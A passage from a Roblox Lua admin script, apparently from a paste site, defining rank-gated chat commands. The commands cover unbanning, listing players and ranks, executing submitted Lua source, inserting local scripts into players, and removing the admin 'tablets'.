- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
- end)
- end
- end
- local PlrName = ChangeRank(Msg, 0)
- Ping("Un-Banned "..PlrName, Speaker, 5)
- end)
- end)
- Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
- Dismiss(Speaker)
- Ping("Commands", Speaker, nil, function()
- Dismiss(Speaker.Name)
- Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
- Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
- Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
- Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
- Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
- Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
- Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
- Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
- end)
- Ping("Players", Speaker, nil, function()
- ListPlayers(Speaker)
- end)
- end)
- Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
- ListPlayers(Speaker)
- end)
- Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
- local Func,Error = loadstring(Msg)
- getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
- getfenv(Func).Speaker = Speaker
- if Error == nil then
- coroutine.wrap(function()
- Func()
- end)()
- Ping("Executed Script!", Speaker, 5)
- else
- Ping(Error, Speaker, 10)
- end
- end)
- Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
- if LS ~= nil then
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local LocalSource = Msg:sub(Split + 1)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- local Inserted = LS:Clone()
- Inserted.Disabled = true
- Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
- if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
- Inserted:findFirstChild(OwnSource).Value = v.Name
- end
- Inserted[LSSource].Value = LocalSource
- Inserted.Disabled = false
- end
- end
- else
- Ping("ERROR: Local Script Not Found", Speaker, 5)
- end
- end)
- Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
- Msg = tostring(Msg)
- Ping(Msg, Speaker)
- end)
- Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
- Dismiss(Speaker)
- for i,v in pairs(getfenv(1)) do
- ypcall(function()
- Ping(tostring(i)..": "..tostring(v), Speaker)
- end)
- end
- end)
- Command('Ranks', 0, 'Shows all players in ranking table',
- function(Msg,Speaker)
- for _,v in pairs(Rankings) do
- Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- end
- end)
- Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Rank = tonumber(Msg:sub(Split + 1))
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- if v.Name ~= Owner then
- ChangeRank(v, Rank)
- Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
- end
- end
- end
- end)
- Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
- Dismiss()
- Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
- Dismiss()
- Removed = true
- for i,v in pairs(getfenv(1)) do
- getfenv(1)[i] = nil
- end
- script.Disabled = true
- end)
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement